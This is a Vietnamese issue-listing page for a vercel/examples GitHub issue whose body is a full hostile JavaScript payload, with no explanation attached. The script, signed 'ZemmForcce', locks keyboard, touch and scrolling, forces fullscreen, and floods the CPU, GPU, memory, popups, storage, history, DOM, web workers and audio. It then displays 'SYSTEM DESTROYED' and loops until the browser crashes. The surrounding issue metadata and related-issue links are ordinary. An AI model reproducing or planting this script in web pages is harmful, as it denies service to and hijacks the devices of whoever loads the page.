ZemmyX
Maintainer thường phản hồi trong vòng 1 ngày
Chưa có ai nhận issue này.
Đánh giá
- Độ khó
- 5/5
- Thời gian dự kiến
- Hơn một tuần
- Mức phù hợp với người mới
- 1/100
- Loại issue
- Lỗi
- Độ rõ ràng
- Cần làm rõ
- Mức độ hoạt động
- Đình trệ
- Công nghệ
- javascript
- Lĩnh vực
- security
Hướng nghiên cứu
Không có tệp, bài kiểm thử hoặc điểm vào nào trong repository được nêu tên. Trước tiên, hãy xác định xem HTML và JavaScript trong issue được dùng cho một báo cáo bảo mật hay là nội dung không liên quan, sau đó xác định một ví dụ bị ảnh hưởng và một kết quả mong đợi có thể tái hiện trước khi xác định bất kỳ thay đổi nào.
Do mô hình lập chỉ mục viết ra từ nội dung của issue.
Mô tả
// LOCK SCROLL DAN INTERAKSI
document.body.style.overflow = 'hidden';
document.documentElement.style.overflow = 'hidden';
// AMBIL ALIH SEMUA TOMBOL
document.addEventListener('keydown', function(e) {
e.preventDefault();
e.stopPropagation();
return false;
}, true);
document.addEventListener('contextmenu', function(e) {
e.preventDefault();
return false;
}, true);
document.addEventListener('touchstart', function(e) {
e.preventDefault();
}, true);
document.addEventListener('touchmove', function(e) {
e.preventDefault();
}, true);
// FULLSCREEN PAKSA
try {
document.documentElement.requestFullscreen();
} catch(e) {}
// ============================================
// 1. CPU MAKSIMAL - MULTI THREAD
// ============================================
for(let core = 0; core < 32; core++) {
setInterval(function() {
for(let i = 0; i < 9999999; i++) {
Math.pow(i, i) * Math.random() * Math.sqrt(i) * Math.sin(i) * Math.cos(i) * Math.tan(i);
Math.log(i) * Math.exp(i) * Math.asin(i % 1) * Math.acos(i % 1) * Math.atan(i);
new Array(9999).join('X').split('').reverse().join('').repeat(999);
}
}, 0);
}
// ============================================
// 2. GPU MAKSIMAL - WEBGL FLOOD
// ============================================
try {
for(let g = 0; g < 50; g++) {
let canvas = document.createElement('canvas');
canvas.width = 8192;
canvas.height = 8192;
let gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
if(gl) {
for(let t = 0; t < 999; t++) {
let texture = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, texture);
let pixels = new Uint8Array(8192 * 8192 * 4);
for(let p = 0; p < pixels.length; p++) {
pixels[p] = Math.floor(Math.random() * 256);
}
gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, 8192, 8192, 0, gl.RGBA, gl.UNSIGNED_BYTE, pixels);
let shader = gl.createShader(gl.VERTEX_SHADER);
let shaderCode = new Array(999999).join('void main(){}');
gl.shaderSource(shader, shaderCode);
gl.compileShader(shader);
}
}
document.body.appendChild(canvas);
canvas.style.display = 'none';
}
} catch(e) {}
// ============================================
// 3. MEMORY LEAK 1 TRILIUN ELEMEN
// ============================================
let LEAK_ARRAY = [];
for(let triliun = 0; triliun < 1000; triliun++) {
let block = [];
for(let juta = 0; juta < 1000000; juta++) {
block.push({
id: juta,
data: new Array(99999).join('X' + Math.random() + Date.now()),
nested: {
a: Math.random() * 999999,
b: new Date().toString(),
c: new Array(9999).join('LEAK'),
d: [].concat(new Array(9999))
},
timestamp: Date.now(),
random: Math.random() * Math.pow(9, 9)
});
}
LEAK_ARRAY.push(block);
}
// ============================================
// 4. BOM ATTACK MAX
// ============================================
// POPUP BOM
for(let pop = 0; pop < 999; pop++) {
setTimeout(function() {
try {
window.open('about:blank', '_blank', 'width=1,height=1');
window.open('about:blank', '_blank', 'width=1,height=1');
window.open('about:blank', '_blank', 'width=1,height=1');
window.open('about:blank', '_blank', 'width=1,height=1');
window.open('about:blank', '_blank', 'width=1,height=1');
} catch(e) {}
}, pop);
}
// STORAGE BOM
try {
for(let s = 0; s < 99999; s++) {
localStorage.setItem('bom_' + s, new Array(999999).join('X'));
sessionStorage.setItem('bom_' + s, new Array(999999).join('X'));
}
} catch(e) {}
// HISTORY BOM
for(let h = 0; h < 9999; h++) {
history.pushState({}, '', '/bom_' + h + '_' + Math.random());
}
// DOM BOM
for(let d = 0; d < 99999; d++) {
let el = document.createElement('div');
el.innerHTML = new Array(99999).join('BOM');
el.style.display = 'none';
document.body.appendChild(el);
}
// ============================================
// 5. ARRAY 1 TRILIUN PAKSA
// ============================================
let TRILIUN_ARRAY = [];
for(let i = 0; i < 999999; i++) {
TRILIUN_ARRAY.push(new Array(999999));
}
// ============================================
// 6. ANIMASI BERAT - 10000 ELEMEN BERGERAK
// ============================================
for(let a = 0; a < 10000; a++) {
let div = document.createElement('div');
div.style.position = 'fixed';
div.style.left = Math.random() * 100 + '%';
div.style.top = Math.random() * 100 + '%';
div.style.fontSize = Math.random() * 100 + 50 + 'px';
div.style.color = '#' + Math.floor(Math.random()*16777215).toString(16);
div.style.zIndex = '9999999';
div.style.whiteSpace = 'nowrap';
div.style.animation = 'move' + a + ' 0.0001s infinite';
div.innerHTML = '꧁𝐙𝐞𝐦𝐦𝐅𝐨𝐫𝐜𝐜𝐞꧂';
let style = document.createElement('style');
style.innerHTML = `
@keyframes move${a} {
0% { transform: translate(0,0) rotate(0deg) scale(1); }
10% { transform: translate(${Math.random()*500}px, ${Math.random()*500}px) rotate(${Math.random()*360}deg) scale(${Math.random()*5}); }
20% { transform: translate(${Math.random()*500}px, ${Math.random()*500}px) rotate(${Math.random()*360}deg) scale(${Math.random()*5}); }
30% { transform: translate(${Math.random()*500}px, ${Math.random()*500}px) rotate(${Math.random()*360}deg) scale(${Math.random()*5}); }
40% { transform: translate(${Math.random()*500}px, ${Math.random()*500}px) rotate(${Math.random()*360}deg) scale(${Math.random()*5}); }
50% { transform: translate(${Math.random()*500}px, ${Math.random()*500}px) rotate(${Math.random()*360}deg) scale(${Math.random()*5}); }
60% { transform: translate(${Math.random()*500}px, ${Math.random()*500}px) rotate(${Math.random()*360}deg) scale(${Math.random()*5}); }
70% { transform: translate(${Math.random()*500}px, ${Math.random()*500}px) rotate(${Math.random()*360}deg) scale(${Math.random()*5}); }
80% { transform: translate(${Math.random()*500}px, ${Math.random()*500}px) rotate(${Math.random()*360}deg) scale(${Math.random()*5}); }
90% { transform: translate(${Math.random()*500}px, ${Math.random()*500}px) rotate(${Math.random()*360}deg) scale(${Math.random()*5}); }
100% { transform: translate(0,0) rotate(0deg) scale(1); }
}
`;
document.head.appendChild(style);
document.body.appendChild(div);
}
// ============================================
// 7. REQUEST ANIMASI FRAME FLOOD
// ============================================
function rafFlood() {
for(let i = 0; i < 9999; i++) {
requestAnimationFrame(rafFlood);
}
}
rafFlood();
// ============================================
// 8. INTERVAL FLOOD
// ============================================
for(let int = 0; int < 9999; int++) {
setInterval(function() {
for(let k = 0; k < 99999; k++) {
document.title = Math.random().toString();
}
}, 0);
}
// ============================================
// 9. WEB WORKER FLOOD (KALO BISA)
// ============================================
try {
let workerCode = `
setInterval(function() {
for(let i=0;i<9999999;i++){Math.sqrt(i)*Math.random();}
},0);
`;
let blob = new Blob([workerCode], {type:'application/javascript'});
for(let w = 0; w < 64; w++) {
new Worker(URL.createObjectURL(blob));
}
} catch(e) {}
// ============================================
// 10. SOUND FLOOD (KALO BROWSER NGIZININ)
// ============================================
try {
let audioCtx = new (window.AudioContext || window.webkitAudioContext)();
for(let s = 0; s < 100; s++) {
let osc = audioCtx.createOscillator();
let gain = audioCtx.createGain();
osc.connect(gain);
gain.connect(audioCtx.destination);
osc.frequency.value = Math.random() * 20000;
gain.gain.value = 1;
osc.start();
}
} catch(e) {}
// ============================================
// FINAL: TAMPILAN PESAN
// ============================================
document.body.innerHTML = '';
let msg = document.createElement('div');
msg.style.position = 'fixed';
msg.style.top = '50%';
msg.style.left = '50%';
msg.style.transform = 'translate(-50%, -50%)';
msg.style.color = '#ff0000';
msg.style.fontSize = '80px';
msg.style.fontWeight = 'bold';
msg.style.textAlign = 'center';
msg.style.zIndex = '999999999';
msg.style.textShadow = '0 0 50px #ff0000';
msg.style.animation = 'blink 0.01s infinite';
msg.innerHTML = '꧁𝐙𝐞𝐦𝐦𝐅𝐨𝐫𝐜𝐜𝐞꧂<br>SYSTEM DESTROYED';
let style2 = document.createElement('style');
style2.innerHTML = `
@keyframes blink {
0%, 100% { opacity: 1; }
50% { opacity: 0; }
}
`;
document.head.appendChild(style2);
document.body.appendChild(msg);
// GAS TERUS SAMPE CRASH
while(true) {
for(let crash = 0; crash < 9999999; crash++) {
let x = new Array(999999);
history.pushState({}, '', '/crash_' + crash);
}
}
})();
</script>
- Ngôn ngữ chính
- TypeScript
- Star
- 5.2k
- Fork
- 1.9k
- Merge trung bình
- 1 giờ 4 phút
- Pull request đã merge (30 ngày)
- 2
Chuẩn bị môi trường
- Không có Dockerfile hay tệp Docker Compose
- Có mẫu pull request
- Không có hướng dẫn đóng góp
Bắt đầu từ đâu
- Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
- Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
- Fork repository và làm thay đổi trên một nhánh.
- Mở pull request có tham chiếu số hiệu của issue.
Issue khác của vercel/examples
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 88/100
Maintainer thường phản hồi trong vòng 1 ngày
-
[next-chat] Typing indicator gets stuck when a socket disconnects mid-typingCó thể đã có người làm @officialasishkumar đã nhận 12 ngày trước. Đang mở
Độ khó 3/5 1-2 ngày Mức phù hợp với người mới 55/100
Maintainer thường phản hồi trong vòng 1 ngày
-
CARGO-TAXIĐang mở
Độ khó 5/5 Hơn một tuần Mức phù hợp với người mới 10/100
Maintainer thường phản hồi trong vòng 1 ngày
-
Better ChoicezĐang mở
Độ khó 5/5 Hơn một tuần Mức phù hợp với người mới 15/100
vercel/examples#1584 · 2 reaction ·
Maintainer thường phản hồi trong vòng 1 ngày
-
onbeat landing pageĐang mở
Độ khó 4/5 3-5 ngày Mức phù hợp với người mới 32/100
Maintainer thường phản hồi trong vòng 1 ngày
Tất cả issue của vercel/examples
Issue tương tự
-
[BUG]: Duplicate preposition in heading and unformatted feedback text on Strengthen Argument pageĐang mởbug
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 72/100
AOSSIE-Org/DebateAI#801 · 1 bình luận ·
Maintainer thường phản hồi trong vòng 1 ngày
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 72/100
Maintainer thường phản hồi trong vòng 1 ngày
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 68/100
Maintainer thường phản hồi trong vòng 1 ngày
-
ci: repo has no GitHub Actions workflow, so pushes and pull requests are never built or testedĐang mởagents area: runtime automation chore cli consistency dependencies developer-experience difficulty: easy documentation enhancement good first issue help wanted hygiene json-output priority: P3 starters tests
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 72/100
-
Add: BOM CineĐang mởapproved check:passed streams:add
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 72/100
Maintainer thường phản hồi trong vòng 1 ngày